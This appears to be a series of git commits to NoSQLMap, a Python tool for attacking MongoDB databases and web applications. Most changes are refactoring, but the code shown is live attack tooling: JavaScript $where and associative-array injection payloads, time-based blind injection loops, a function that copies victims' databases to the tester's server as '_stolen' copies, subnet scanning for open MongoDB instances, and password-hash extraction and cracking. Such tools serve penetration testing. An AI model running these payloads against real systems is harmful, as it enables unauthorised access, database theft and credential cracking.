possAddrs.append(str(neDict)) #Delete the extra key del postData[injOpt + "[$ne]"] - postData.update({injOpt:"=a'; return db.a.find(); var dummy='!"}) + postData.update({injOpt:"a'; return db.a.find(); var dummy='!"}) body = urllib.urlencode(postData) req = urllib2.Request(appURL,body) print "Testing Mongo <2.4 $where all Javascript string escape attack for all records...\n" @@ -633,7 +635,7 @@ def postApps(): possAddrs.append(str(postData)) print "\n" - postData.update({injOpt:"=1; return db.a.find(); var dummy=1"}) + postData.update({injOpt:"1; return db.a.find(); var dummy=1"}) body = urllib.urlencode(postData) req = urllib2.Request(appURL,body) print "Testing Mongo <2.4 $where Javascript integer escape attack for all records...\n" @@ -661,7 +663,7 @@ def postApps(): #Start a single record attack in case the app expects only one record back - postData.update({injOpt:"=a'; return db.a.findOne(); var dummy='!"}) + postData.update({injOpt:"a'; return db.a.findOne(); var dummy='!"}) body = urllib.urlencode(postData) req = urllib2.Request(appURL,body) print "Testing Mongo <2.4 $where all Javascript string escape attack for one record...\n" @@ -688,7 +690,7 @@ def postApps(): possAddrs.append(str(postData)) print "\n" - postData.update({injOpt:"=1; return db.a.findOne(); var dummy=1"}) + postData.update({injOpt:"1; return db.a.findOne(); var dummy=1"}) body = urllib.urlencode(postData) req = urllib2.Request(appURL,body) print "Testing Mongo <2.4 $where Javascript integer escape attack for one record...\n" @@ -715,7 +717,7 @@ def postApps(): possAddrs.append(str(postData)) print "\n" - postData.update({injOpt:"=a'; return this.a != '" + injectString + "'; var dummy='!"}) + postData.update({injOpt:"a'; return this.a != '" + injectString + "'; var dummy='!"}) body = urllib.urlencode(postData) req = urllib2.Request(appURL,body) @@ -741,7 +743,7 @@ def postApps(): possAddrs.append(str(postData)) print "\n" - postData.update({injOpt:"=1; return this.a != '" + injectString + "'; var dummy=1"}) + postData.update({injOpt:"1; return this.a != '" + injectString + "'; var dummy=1"}) body = urllib.urlencode(postData) req = urllib2.Request(appURL,body) print "Testing Mongo this not equals integer escape attack for all records..." @@ -770,43 +772,44 @@ def postApps(): if doTimeAttack == "y" or doTimeAttack == "Y": print "Starting Javascript string escape time based injection..." - start = time.time() - postData.update({injOpt:"=a'; var date = new Date(); var curDate = null; do { curDate = new Date(); } while((Math.abs(date.getTime()-curDate.getTime()))/1000 < 10); return; var dummy='!"}) + postData.update({injOpt:"a'; var date = new Date(); var curDate = null; do { curDate = new Date(); } while((Math.abs(curDate.getTime()-date.getTime()))/1000 < 10); return true; var dummy='a"}) body = urllib.urlencode(postData) conn = urllib2.urlopen(req,body) + start = time.time() page = conn.read() end = time.time() conn.close() - #print str(end) - #print str(start) + print str(end) + print str(start) strTimeDelta = (int(round((end - start), 3)) - timeBase) #print str(strTimeDelta) if strTimeDelta > 25: - print "HTTP load time variance was " + str(strTimeDelta) +" seconds! Injection possible." + print "HTTP load time variance was " + str(strTimeDelta) +" seconds! Injection possible." strTbAttack = True else: - print "HTTP load time variance was only " + str(strTimeDelta) + "seconds. Injection probably didn't work." + print "HTTP load time variance was only " + str(strTimeDelta) + " seconds. Injection probably didn't work." strTbAttack = False print "Starting Javascript integer escape time based injection..." - start = time.time() - postData.update({injOpt:"=1; var date = new Date(); var curDate = null; do { curDate = new Date(); } while((Math.abs(date.getTime()-curDate.getTime()))/1000 < 10); return; var dummy=1"}) + + postData.update({injOpt:"1; var date = new Date(); var curDate = null; do { curDate = new Date(); } while((Math.abs(date.getTime()-curDate.getTime()))/1000 < 10); return; var dummy=1"}) body = urllib.urlencode(postData) + start = time.time() conn = urllib2.urlopen(req,body) page = conn.read() - end = time.time() + end = time.time() conn.close() - #print str(end) - #print str(start) - intTimeDelta = (int(round((end - start), 3)) - timeBase) + print str(end) + print str(start) + intTimeDelta = ((end-start) - timeBase) #print str(strTimeDelta) if intTimeDelta > 25: print "HTTP load time variance was " + str(intTimeDelta) +" seconds! Injection possible." intTbAttack = True else: - print "HTTP load time variance was only " + str(intTimeDelta) + "seconds. Injection probably didn't work." + print "HTTP load time variance was only " + str(intTimeDelta) + " seconds. Injection probably didn't work." intTbAttack = False print "\n" @@ -1403,10 +1406,6 @@ def massMongo(): raw_input("Not a valid subnet. Press enter to return to main menu.") mainMenu() - - print "Debug:" - print ipList - if loadOpt == "2": while loadCheck == False: loadPath = raw_input("Enter file name with IP list to scan: ") @@ -1431,7 +1430,6 @@ def massMongo(): dbList = conn.database_names() print "Successful default access on " + target - target = target[:-1] success.append(target) conn.disconnect() @@ -1508,6 +1506,7 @@ def getDBInfo(): retrUsers = 0 users = [] hashes = [] + crackHash = "" chars = string.ascii_letters + string.digits print "Getting baseline True query return size..." @@ -1693,8 +1692,16 @@ def getDBInfo(): charCounterHash = 0 rightCharsHash = 0 pwdHash = "" + crackHash = raw_input("Crack recovered hashes (y/n)?: ") - + if crackHash == "y" or crackHash == "Y": + menuItem = 1 + for user in users: + print str(menuItem) + "-" + user + menuItem +=1 + + userIndex = raw_input("Select user hash to crack: ") + brute_pass(users[int(userIndex)-1],hashes[int(userIndex)-1]) raw_input("Press enter to continue...") From 79d43823ab918df75e673f52f3b0f1ad7a593795 Mon Sep 17 00:00:00 2001 From: tcstool Date: Sun, 16 Mar 2014 21:02:10 -0500 Subject: [PATCH 037/207] Output changes + recursion cleanup Removed all recursion and created new output --- nosqlmap.py | 344 ++++++++++++++++++++++++++++++++++++---------------- 1 file changed, 241 insertions(+), 103 deletions(-) diff --git a/nosqlmap.py b/nosqlmap.py index 409f321..c07680d 100755 --- a/nosqlmap.py +++ b/nosqlmap.py @@ -34,18 +34,18 @@ #Set a list so we can track whether options are set or not to avoid resetting them in subsequent cals to the options menu. global optionSet -optionSet = [False,False,False,False,False,False] +optionSet = [False,False,False,False,False,False,False] global victim global webPort global uri global httpMethod global myIP global myPort - +global verb def mainMenu(): - select = True - while select: + mmSelect = True + while mmSelect: os.system('clear') #label = subprocess.check_output(["git","describe","--always"]) print "====================================================" @@ -77,7 +77,6 @@ def mainMenu(): #Check minimum required options else: raw_input("Target not set! Check options. Press enter to continue...") - mainMenu() elif select == "3": @@ -90,8 +89,8 @@ def mainMenu(): postApps() else: - raw_input("Options not set! Check Host and URI path. Press enter to continue...") - mainMenu() + raw_input("Options not set! Check host and URI path. Press enter to continue...") + elif select == "4": massMongo() @@ -100,8 +99,7 @@ def mainMenu(): sys.exit() else: - raw_input("Invalid Selection. Press enter to continue.") - mainMenu() + raw_input("Invalid selection. Press enter to continue.") def options(): @@ -112,6 +110,9 @@ def options(): global postData global myIP global myPort + global verb + global mmSelect + #Set default value if needed if optionSet[0] == False: victim = "Not Set" @@ -126,10 +127,12 @@ def options(): myIP = "Not Set" if optionSet[5] == False: myPort = "Not Set" + if optionSet[6] == False: + verb = "OFF" - select = True + optSelect = True - while select: + while optSelect: print "\n\n" print "Options" print "1-Set target host/IP (Current: " + str(victim) + ")" @@ -138,9 +141,10 @@ def options(): print "4-Set HTTP Request Method (GET/POST) (Current: " + httpMethod + ")" print "5-Set my local Mongo/Shell IP (Current: " + str(myIP) + ")" print "6-Set shell listener port (Current: " + str(myPort) + ")" - print "7-Load options file" - print "8-Load options from saved Burp request" - print "9-Save options file" + print "7-Toggle Verbose Mode: (Current: " + str(verb) + ")" + print "8-Load options file" + print "9-Load options from saved Burp request" + print "0-Save options file" print "x-Back to main menu" select = raw_input("Select an option: ") @@ -176,21 +180,17 @@ def options(): if goodLen == True and goodDigits == True: print "\nTarget set to " + victim + "\n" optionSet[0] = True - options() elif select == "2": webPort = raw_input("Enter the HTTP port for web apps: ") print "\nHTTP port set to " + webPort + "\n" optionSet[1] = True - options() elif select == "3": uri = raw_input("Enter URI Path (Press enter for no URI): ") print "\nURI Path set to " + uri + "\n" optionSet[2] = True - options() - #NOT IMPLEMENTED YET FOR USE elif select == "4": httpMethod = True while httpMethod: @@ -203,7 +203,6 @@ def options(): httpMethod = "GET" print "GET request set" optionSet[3] = True - options() elif httpMethod == "2": print "POST request set" @@ -214,7 +213,6 @@ def options(): paramValues = pdArray[1::2] postData = dict(zip(paramNames,paramValues)) httpMethod = "POST" - options() else: print "Invalid selection" @@ -249,15 +247,26 @@ def options(): if goodLen == True and goodDigits == True: print "\nShell/DB listener set to " + myIP + "\n" optionSet[4] = True - options() elif select == "6": myPort = raw_input("Enter TCP listener for shells: ") print "Shell TCP listener set to " + myPort + "\n" optionSet[5] = True - options() - + elif select == "7": + if verb == "OFF": + print "Verbose output enabled." + verb = "ON" + optionSet[6] = True + options() + + if verb == "ON": + print "Verbose output disabled." + verb = "OFF" + optionSet[6] = True + options() + + elif select == "8": loadPath = raw_input("Enter file name to load: ") try: fo = open(loadPath,"r" ) @@ -285,10 +294,8 @@ def options(): x += 1 except: print "Couldn't load options file!" - #print str(sys.exc_info()) Debug - options() - elif select == "8": + elif select == "9": loadPath = raw_input("Enter path to Burp request file: ") try: @@ -297,7 +304,7 @@ def options(): except: raw_input("error reading file. Press enter to continue...") - mainMenu() + return methodPath = reqData[0].split(" ") @@ -327,7 +334,7 @@ def options(): uri = methodPath[1].replace("\r\n","") optionSet[2] = True - elif select == "9": + elif select == "0": savePath = raw_input("Enter file name to save: ") try: fo = open(savePath, "wb") @@ -341,7 +348,7 @@ def options(): print "Couldn't save options file." elif select == "x": - mainMenu() + return def netAttacks(target): print "DB Access attacks" @@ -374,7 +381,7 @@ def netAttacks(target): mgtOpen = True except: raw_input("Failed to authenticate. Press enter to continue...") - mainMenu() + return mgtUrl = "http://" + target + ":28017" @@ -531,15 +538,17 @@ def postApps(): timeReq.close() timeBase = round((end - start), 3) + if verb == "ON": + print "App is up! Got response length of " + str(normLength) + " and response time of " + str(timeBase) + " seconds. Starting injection test.\n" + - - print "App is up! Got response length of " + str(normLength) + " and response time of " + str(timeBase) + " seconds. Starting injection test.\n" + else: + print "App is up!" appUp = True - else: print "Got " + appRespCode + "from the app, check your options." + except: - print sys.exc_info() print "Looks like the server didn't respond. Check your options." if appUp == True: @@ -555,9 +564,8 @@ def postApps(): injOpt = str(postData.keys()[int(injIndex)-1]) print "Injecting the " + injOpt + " parameter..." except: - print str(sys.exc_info()) raw_input("Something went wrong. Press enter to return to the main menu...") - mainMenu() + return injectSize = raw_input("Baseline test-Enter random string size: ") injectString = randInjString(int(injectSize)) @@ -567,7 +575,11 @@ def postApps(): #Build a random string and insert; if the app handles input correctly, a random string and injected code should be treated the same. #Add error handling for Non-200 HTTP response codes if random strings freaks out the app. postData.update({injOpt:injectString}) - print "Checking random injected parameter HTTP response size sending " + str(postData) +"...\n" + if verb == "ON": + print "Checking random injected parameter HTTP response size sending " + str(postData) +"...\n" + + else: + print "Sending random parameter value..." body = urllib.urlencode(postData) req = urllib2.Request(appURL,body) @@ -579,7 +591,7 @@ def postApps(): if randNormDelta == 0: print "No change in response size injecting a random parameter..\n" else: - print "HTTP response varied " + str(randNormDelta) + " bytes with random parameter value!\n" + print "Random value variance: " + str(randNormDelta) + "\n" #Generate not equals injection neDict = postData @@ -587,78 +599,145 @@ def postApps(): del neDict[injOpt] body = urllib.urlencode(neDict) req = urllib2.Request(appURL,body) - print "Testing Mongo PHP not equals associative array injection using " + str(postData) +"..." + if verb == "ON": + print "Testing Mongo PHP not equals associative array injection using " + str(postData) +"..." + + else: + print "Test 1: PHP associative array injection" + injLen = int(len(urllib2.urlopen(req).read())) - print "Got response length of " + str(injLen) + "." + + if verb == "ON": + print "Got response length of " + str(injLen) + "." randInjDelta = abs(injLen - randLength) if (randInjDelta >= 100) and (injLen != 0) : - print "Not equals injection response varied " + str(randInjDelta) + " bytes from random parameter value! Injection works!" + if verb == "ON": + print "Not equals injection response varied " + str(randInjDelta) + " bytes from random parameter value! Injection works!" + + else: + print "Successful injection!" + vulnAddrs.append(str(neDict)) - + elif (randInjDelta > 0) and (randInjDelta < 100) and (injLen != 0) : - print "Response variance was only " + str(randInjDelta) + " bytes. Injection might have worked but difference is too small to be certain. " + if verb == "ON": + print "Response variance was only " + str(randInjDelta) + " bytes. Injection might have worked but difference is too small to be certain. " + + else: + print "Possible injection." + possAddrs.append(str(neDict)) elif (randInjDelta == 0): - print "Random string response size and not equals injection were the same. Injection did not work." + if verb == "ON": + print "Random string response size and not equals injection were the same. Injection did not work." + + else: + print "Injection failed." else: - print "Injected response was smaller than random response. Injection may have worked but requires verification." + if verb == "ON": + print "Injected response was smaller than random response. Injection may have worked but requires verification." + + else: + print "Possible injection." + possAddrs.append(str(neDict)) + #Delete the extra key del postData[injOpt + "[$ne]"] postData.update({injOpt:"a'; return db.a.find(); var dummy='!"}) body = urllib.urlencode(postData) req = urllib2.Request(appURL,body) - print "Testing Mongo <2.4 $where all Javascript string escape attack for all records...\n" - print "Injecting " + str(postData) + if verb == "ON": + print "Testing Mongo <2.4 $where all Javascript string escape attack for all records...\n" + print "Injecting " + str(postData) + + else: + print "Test 2: $where injection (string escape)" whereStrLen = int(len(urllib2.urlopen(req).read())) whereStrDelta = abs(whereStrLen - randLength) if (whereStrDelta >= 100) and (whereStrLen > 0): - print "Java $where escape varied " + str(whereStrDelta) + " bytes from random parameter value! Where injection works!" + if verb == "ON": + print "Java $where escape varied " + str(whereStrDelta) + " bytes from random parameter value! Where injection works!" + else: + print "Successful injection!" lt24 = True str24 = True vulnAddrs.append(str(postData)) + + + elif (whereStrDelta > 0) and (whereStrDelta < 100) and (whereStrLen - randLength > 0): - print " response variance was only " + str(whereStrDelta) + "bytes. Injection might have worked but difference is too small to be certain." + if verb == "ON": + print " response variance was only " + str(whereStrDelta) + "bytes. Injection might have worked but difference is too small to be certain." + + else: + print "Possible injection." + possAddrs.append(str(postData)) elif (whereStrDelta == 0): - print "Random string response size and $where injection were the same. Injection did not work." + if verb == "ON": + print "Random string response size and $where injection were the same. Injection did not work." + + else: + print "Injection failed." else: - print "Injected response was smaller than random response. Injection may have worked but requires verification." + if verb == "ON": + print "Injected response was smaller than random response. Injection may have worked but requires verification." + + else: + print "Injection failed." + possAddrs.append(str(postData)) print "\n" postData.update({injOpt:"1; return db.a.find(); var dummy=1"}) body = urllib.urlencode(postData) req = urllib2.Request(appURL,body) - print "Testing Mongo <2.4 $where Javascript integer escape attack for all records...\n" - print "Injecting " + str(postData) + if verb == "ON": + print "Testing Mongo <2.4 $where Javascript integer escape attack for all records...\n" + print "Injecting " + str(postData) + else: + print "Test 3: $where injection (integer escape)" + whereIntLen = int(len(urllib2.urlopen(req).read())) whereIntDelta = abs(whereIntLen - randLength) if (whereIntDelta >= 100) and (whereIntLen - randLength > 0): - print "Java $where escape varied " + str(whereIntDelta) + " bytes from random parameter! Where injection works!" + if verb == "ON": + print "Java $where escape varied " + str(whereIntDelta) + " bytes from random parameter! Where injection works!" + else: + print "Successful injection!" lt24 = True int24 = True vulnAddrs.append(str(postData)) elif (whereIntDelta > 0) and (whereIntDelta < 100) and (whereIntLen - randLength > 0): - print " response variance was only " + str(whereIntDelta) + "bytes. Injection might have worked but difference is too small to be certain." + if verb == "ON": + print "Response variance was only " + str(whereIntDelta) + "bytes. Injection might have worked but difference is too small to be certain." + else: + print "Possible injection. " possAddrs.append(str(postData)) elif (whereIntDelta == 0): - print "Random string response size and $where injection were the same. Injection did not work." + if verb == "ON": + print "Random string response size and $where injection were the same. Injection did not work." + else: + print "Injection failed." else: - print "Injected response was smaller than random response. Injection may have worked but requires verification." + if verb == "ON": + print "Injected response was smaller than random response. Injection may have worked but requires verification." + else: + print "Possible injection." possAddrs.append(str(postData)) #Start a single record attack in case the app expects only one record back @@ -666,54 +745,90 @@ def postApps(): postData.update({injOpt:"a'; return db.a.findOne(); var dummy='!"}) body = urllib.urlencode(postData) req = urllib2.Request(appURL,body) - print "Testing Mongo <2.4 $where all Javascript string escape attack for one record...\n" - print " Injecting " + str(postData) + if verb == "ON": + print "Testing Mongo <2.4 $where all Javascript string escape attack for one record...\n" + print " Injecting " + str(postData) + + else: + print "Test 4: $where injection string escape (single record)" whereOneStrLen = int(len(urllib2.urlopen(req).read())) whereOneStrDelta = abs(whereOneStrLen - randLength) if (whereOneStrDelta >= 100) and (whereOneStrLen - randLength > 0): - print "Java $where escape varied " + str(whereOneStrDelta) + " bytes from random parameter value! Where injection works!" + if verb == "ON": + print "Java $where escape varied " + str(whereOneStrDelta) + " bytes from random parameter value! Where injection works!" + else: + print "Successful injection!" lt24 = True str24 = True vulnAddrs.append(str(postData)) elif (whereOneStrDelta > 0) and (whereOneStrDelta < 100) and (whereOneStrLen - randLength > 0): - print " response variance was only " + str(whereOneStrDelta) + "bytes. Injection might have worked but difference is too small to be certain." + if verb == "ON": + print "response variance was only " + str(whereOneStrDelta) + "bytes. Injection might have worked but difference is too small to be certain." + else: + print "Possible injection." possAddrs.append(str(postData)) elif (whereOneStrDelta == 0): - print "Random string response size and $where single injection were the same. Injection did not work." + if verb == "ON": + print "Random string response size and $where single injection were the same. Injection did not work." + else: + print "Injection failed." else: - print "Injected response was smaller than random response. Injection may have worked but requires verification." + if verb == "ON": + print "Injected response was smaller than random response. Injection may have worked but requires verification." + else: + print "Possible injection." possAddrs.append(str(postData)) print "\n" postData.update({injOpt:"1; return db.a.findOne(); var dummy=1"}) body = urllib.urlencode(postData) req = urllib2.Request(appURL,body) - print "Testing Mongo <2.4 $where Javascript integer escape attack for one record...\n" - print " Injecting " + str(postData) + if verb == "ON": + print "Testing Mongo <2.4 $where Javascript integer escape attack for one record...\n" + print " Injecting " + str(postData) + + else: + print "Test 5: $where injection integer escape (single record)" + whereOneIntLen = int(len(urllib2.urlopen(req).read())) whereOneIntDelta = abs(whereOneIntLen - randLength) if (whereOneIntDelta >= 100) and (whereOneIntLen - randLength > 0): - print "Java $where escape varied " + str(whereOneIntDelta) + " bytes from random parameter! Where injection works!" + if verb == "ON": + print "Java $where escape varied " + str(whereOneIntDelta) + " bytes from random parameter! Where injection works!" + + else: + print "Successful Injection!" lt24 = True int24 = True vulnAddrs.append(str(postData)) elif (whereOneIntDelta > 0) and (whereOneIntDelta < 100) and (whereOneIntLen - randLength > 0): - print " response variance was only " + str(whereOneIntDelta) + "bytes. Injection might have worked but difference is too small to be certain." + if verb == "ON": + print "response variance was only " + str(whereOneIntDelta) + "bytes. Injection might have worked but difference is too small to be certain." + + else: + print "Possible injection." possAddrs.append(postData) elif (whereOneIntDelta == 0): - print "Random string response size and $where single record injection were the same. Injection did not work." + if verb == "ON": + print "Random string response size and $where single record injection were the same. Injection did not work." + + else: + print "Injection failed." else: - print "Injected response was smaller than random response. Injection may have worked but requires verification." + if verb == "ON": + print "Injected response was smaller than random response. Injection may have worked but requires verification." + else: + print "Possible injection." possAddrs.append(str(postData)) print "\n" @@ -721,50 +836,81 @@ def postApps(): body = urllib.urlencode(postData) req = urllib2.Request(appURL,body) - print "Testing Mongo this not equals string escape attack for all records..." - print " Injecting " + str(postData) + if verb == "ON": + print "Testing Mongo this not equals string escape attack for all records..." + print " Injecting " + str(postData) + + else: + print "Test 6: This != injection (string escape)" whereThisStrLen = int(len(urllib2.urlopen(req).read())) whereThisStrDelta = abs(whereThisStrLen - randLength) if (whereThisStrDelta >= 100) and (whereThisStrLen - randLength > 0): - print "Java this not equals varied " + str(whereThisStrDelta) + " bytes from random parameter! Where injection works!" + if verb == "ON": + print "Java this not equals varied " + str(whereThisStrDelta) + " bytes from random parameter! Where injection works!" + else: + print "Injection successful!" vulnAddrs.append(str(postData)) elif (whereThisStrDelta > 0) and (whereThisStrDelta < 100) and (whereThisStrLen - randLength > 0): - print " response variance was only " + str(whereThisStrDelta) + "bytes. Injection might have worked but difference is too small to be certain." + if verb == "ON": + print "Response variance was only " + str(whereThisStrDelta) + "bytes. Injection might have worked but difference is too small to be certain." + else: + print "Possible injection." possAddrs.append(str(postData)) elif (whereThisStrDelta == 0): - print "Random string response size and this return response size were the same. Injection did not work." + if verb == "ON": + print "Random string response size and this return response size were the same. Injection did not work." + else: + print "Injection failed." else: - print "Injected response was smaller than random response. Injection may have worked but requires verification." + if verb == "ON": + print "Injected response was smaller than random response. Injection may have worked but requires verification." + else: + print "Possible injection." possAddrs.append(str(postData)) print "\n" postData.update({injOpt:"1; return this.a != '" + injectString + "'; var dummy=1"}) body = urllib.urlencode(postData) req = urllib2.Request(appURL,body) - print "Testing Mongo this not equals integer escape attack for all records..." - print " Injecting " + str(postData) + if verb == "ON": + print "Testing Mongo this not equals integer escape attack for all records..." + print " Injecting " + str(postData) + else: + print "Test 7: This != injection (integer escape)" whereThisIntLen = int(len(urllib2.urlopen(req).read())) whereThisIntDelta = abs(whereThisIntLen - randLength) if (whereThisIntDelta >= 100) and (whereThisIntLen - randLength > 0): - print "Java this not equals varied " + str(whereThisStrDelta) + " bytes from random parameter! Where injection works!" + if verb == "ON": + print "Java this not equals varied " + str(whereThisStrDelta) + " bytes from random parameter! Where injection works!" + else: + print "Injection successful!" vulnAddrs.append(str(postData)) elif (whereThisIntDelta > 0) and (whereThisIntDelta < 100) and (whereThisIntLen - randLength > 0): - print " response variance was only " + str(whereThisIntDelta) + "bytes. Injection might have worked but difference is too small to be certain." + if verb == "ON": + print " response variance was only " + str(whereThisIntDelta) + "bytes. Injection might have worked but difference is too small to be certain." + else: + print "Possible injection." possAddrs.append(str(postData)) elif (whereThisIntDelta == 0): - print "Random string response size and this return response size were the same. Injection did not work." + if verb == "ON": + print "Random string response size and this return response size were the same. Injection did not work." + else: + print "Injection failed." else: - print "Injected response was smaller than random response. Injection may have worked but requires verification." + if verb == "ON": + print "Injected response was smaller than random response. Injection may have worked but requires verification." + else: + print "Possible injection." possAddrs.append(str(postData)) print "\n" @@ -1175,16 +1321,7 @@ def webApps(): fo.close() raw_input("Press enter to continue...") - return() - -#def webDBAttacks(trueLen): -# injTestLen = 0 -# getDBName = raw_input("Get database name (y/n)? ") -# if getDBName == "y" or getDBName == "Y": -# while injTestLen != trueLen: -# testUri = uriArray[16].split("---") - - + return() def randInjString(size): print "What format should the random string take?" @@ -1232,7 +1369,7 @@ def buildUri(origUri, randValue): except: raw_input("Not able to parse the URL and parameters. Check options settings. Press enter to return to main menu...") - mainMenu() + return for item in params: index = item.find("=") @@ -1253,7 +1390,7 @@ def buildUri(origUri, randValue): print "Injecting the " + injOpt + " parameter..." except: raw_input("Something went wrong. Press enter to return to the main menu...") - mainMenu() + return x = 0 @@ -1348,7 +1485,7 @@ def stealDBs(myDB): if dbNeedCreds == "n" or dbNeedCreds == "N": if optionSet[4] == False: raw_input("No IP specified to copy to! Press enter to return to main menu...") - mainMenu() + return myDBConn = pymongo.MongoClient(myDB,27017) myDBConn.copy_database(dbList[int(dbLoot)-1],dbList[int(dbLoot)-1] + "_stolen",victim) @@ -1373,10 +1510,10 @@ def stealDBs(myDB): except: if str(sys.exc_info()).find('text search not enabled') != -1: raw_input("Database copied, but text indexing was not enabled on the target. Indexes not moved. Press enter to return...") - mainMenu() + return else: raw_input ("Something went wrong. Are you sure your MongoDB is running and options are set? Press enter to return...") - mainMenu() + return def massMongo(): global victim @@ -1404,7 +1541,7 @@ def massMongo(): optCheck = False except: raw_input("Not a valid subnet. Press enter to return to main menu.") - mainMenu() + return if loadOpt == "2": while loadCheck == False: @@ -1419,7 +1556,7 @@ def massMongo(): print "Couldn't open file." if loadOpt == "x": - mainMenu() + return print "\n" @@ -1450,13 +1587,13 @@ def massMongo(): select = raw_input("Select a NoSQLMap target or press x to exit: ") if select == "x" or select == "X": - mainMenu() + return elif select.isdigit() == True: victim = success[int(select) - 1] optionSet[0] = True raw_input("New target set! Press enter to return to the main menu.") - mainMenu() + return else: raw_input("Invalid selection.") @@ -1694,7 +1831,7 @@ def getDBInfo(): pwdHash = "" crackHash = raw_input("Crack recovered hashes (y/n)?: ") - if crackHash == "y" or crackHash == "Y": + while crackHash == "y" or crackHash == "Y": menuItem = 1 for user in users: print str(menuItem) + "-" + user @@ -1703,9 +1840,10 @@ def getDBInfo(): userIndex = raw_input("Select user hash to crack: ") brute_pass(users[int(userIndex)-1],hashes[int(userIndex)-1]) - + crackHash = raw_input("Crack another hash (y/n)?") raw_input("Press enter to continue...") - + return + def signal_handler(signal, frame): print "\n" print "CTRL+C detected. Exiting." From 33897f6bb68afe4cb960823cd502c6b8487157b4 Mon Sep 17 00:00:00 2001 From: tcstool Date: Sun, 16 Mar 2014 21:05:02 -0500 Subject: [PATCH 038/207] Removed recursion from output toggle --- nosqlmap.py | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) diff --git a/nosqlmap.py b/nosqlmap.py index c07680d..4961378 100755 --- a/nosqlmap.py +++ b/nosqlmap.py @@ -258,13 +258,11 @@ def options(): print "Verbose output enabled." verb = "ON" optionSet[6] = True - options() - if verb == "ON": + elif verb == "ON": print "Verbose output disabled." verb = "OFF" optionSet[6] = True - options() elif select == "8": loadPath = raw_input("Enter file name to load: ") From 9cd798047fd0a17fdcd5f1613d22a21a91a2c5cb Mon Sep 17 00:00:00 2001 From: tcstool Date: Mon, 17 Mar 2014 21:20:24 -0500 Subject: [PATCH 039/207] Restructured GET to use consolidated calculation method --- nosqlmap.py | 297 ++++++++++++++++++++++++---------------------------- 1 file changed, 139 insertions(+), 158 deletions(-) diff --git a/nosqlmap.py b/nosqlmap.py index 4961378..9297abd 100755 --- a/nosqlmap.py +++ b/nosqlmap.py @@ -1007,8 +1007,12 @@ def webApps(): print "Web App Attacks (GET)" print "===============" paramName = [] + global testNum + testNum = 1 paramValue = [] + global vulnAddrs vulnAddrs = [] + global possAddrs possAddrs = [] timeVulnsStr = [] timeVulnsInt = [] @@ -1017,7 +1021,13 @@ def webApps(): intTbAttack = False trueStr = False trueInt = False + global lt24 lt24 = False + global str24 + str24 = False + global int24 + int24 = False + #Verify app is working. print "Checking to see if site at " + str(victim) + ":" + str(webPort) + str(uri) + " is up..." @@ -1037,7 +1047,11 @@ def webApps(): - print "App is up! Got response length of " + str(normLength) + " and response time of " + str(timeBase) + " seconds. Starting injection test.\n" + if verb == "ON": + print "App is up! Got response length of " + str(normLength) + " and response time of " + str(timeBase) + " seconds. Starting injection test.\n" + + else: + print "App is up!" appUp = True else: @@ -1054,7 +1068,12 @@ def webApps(): #Build a random string and insert; if the app handles input correctly, a random string and injected code should be treated the same. #Add error handling for Non-200 HTTP response codes if random strings freaks out the app. randomUri = buildUri(appURL,injectString) - print "Checking random injected parameter HTTP response size using " + randomUri +"...\n" + + if verb == "ON": + print "Checking random injected parameter HTTP response size using " + randomUri +"...\n" + else: + print "Sending random parameter value..." + randLength = int(len(urllib.urlopen(randomUri).read())) print "Got response length of " + str(randLength) + "." @@ -1063,169 +1082,84 @@ def webApps(): if randNormDelta == 0: print "No change in response size injecting a random parameter..\n" else: - print "HTTP response varied " + str(randNormDelta) + " bytes with random parameter value!\n" + print "Random value variance: " + str(randNormDelta) + "\n" - print "Testing Mongo PHP not equals associative array injection using " + uriArray[1] +"..." + if verb == "ON": + print "Testing Mongo PHP not equals associative array injection using " + uriArray[1] +"..." + else: + print "Test 1: PHP associative array injection" injLen = int(len(urllib.urlopen(uriArray[1]).read())) - print "Got response length of " + str(injLen) + "." - - randInjDelta = abs(injLen - randLength) - - if (randInjDelta >= 100) and (injLen != 0) : - print "Not equals injection response varied " + str(randInjDelta) + " bytes from random parameter value! Injection works!" - vulnAddrs.append(uriArray[1]) - - elif (randInjDelta > 0) and (randInjDelta < 100) and (injLen != 0) : - print "Response variance was only " + str(randInjDelta) + " bytes. Injection might have worked but difference is too small to be certain. " - possAddrs.append(uriArray[1]) - - elif (randInjDelta == 0): - print "Random string response size and not equals injection were the same. Injection did not work." + + if verb == "ON": + print "Got response length of " + str(injLen) + "." + checkResult(randLength,injLen,testNum) + testNum += 1 + print "\n" + + if verb == "ON": + print "Testing Mongo <2.4 $where all Javascript string escape attack for all records...\n" + print "Injecting " + uriArray[2] else: - print "Injected response was smaller than random response. Injection may have worked but requires verification." - possAddrs.append(uriArray[1]) - - print "Testing Mongo <2.4 $where all Javascript string escape attack for all records...\n" - print "Injecting " + uriArray[2] - - whereStrLen = int(len(urllib.urlopen(uriArray[2]).read())) - whereStrDelta = abs(whereStrLen - randLength) - - if (whereStrDelta >= 100) and (whereStrLen > 0): - print "Java $where escape varied " + str(whereStrDelta) + " bytes from random parameter value! Where injection works!" - lt24 = True - str24 = True - vulnAddrs.append(uriArray[2]) - - elif (whereStrDelta > 0) and (whereStrDelta < 100) and (whereStrLen - randLength > 0): - print " response variance was only " + str(whereStrDelta) + "bytes. Injection might have worked but difference is too small to be certain." - possAddrs.append(uriArray[2]) - - elif (whereStrDelta == 0): - print "Random string response size and $where injection were the same. Injection did not work." + print "Test 2: $where injection (string escape)" - else: - print "Injected response was smaller than random response. Injection may have worked but requires verification." - possAddrs.append(uriArray[2]) + injLen = int(len(urllib.urlopen(uriArray[2]).read())) + checkResult(randLength,injLen,testNum) + testNum += 1 print "\n" - print "Testing Mongo <2.4 $where Javascript integer escape attack for all records...\n" - print "Injecting " + uriArray[3] - - whereIntLen = int(len(urllib.urlopen(uriArray[3]).read())) - whereIntDelta = abs(whereIntLen - randLength) - - if (whereIntDelta >= 100) and (whereIntLen - randLength > 0): - print "Java $where escape varied " + str(whereIntDelta) + " bytes from random parameter! Where injection works!" - lt24 = True - int24 = True - vulnAddrs.append(uriArray[3]) - - elif (whereIntDelta > 0) and (whereIntDelta < 100) and (whereIntLen - randLength > 0): - print " response variance was only " + str(whereIntDelta) + "bytes. Injection might have worked but difference is too small to be certain." - possAddrs.append(uriArray[3]) - - elif (whereIntDelta == 0): - print "Random string response size and $where injection were the same. Injection did not work." - + if verb == "ON": + print "Testing Mongo <2.4 $where Javascript integer escape attack for all records...\n" + print "Injecting " + uriArray[3] else: - print "Injected response was smaller than random response. Injection may have worked but requires verification." - possAddrs.append(uriArray[3]) - - #Start a single record attack in case the app expects only one record back - - print "Testing Mongo <2.4 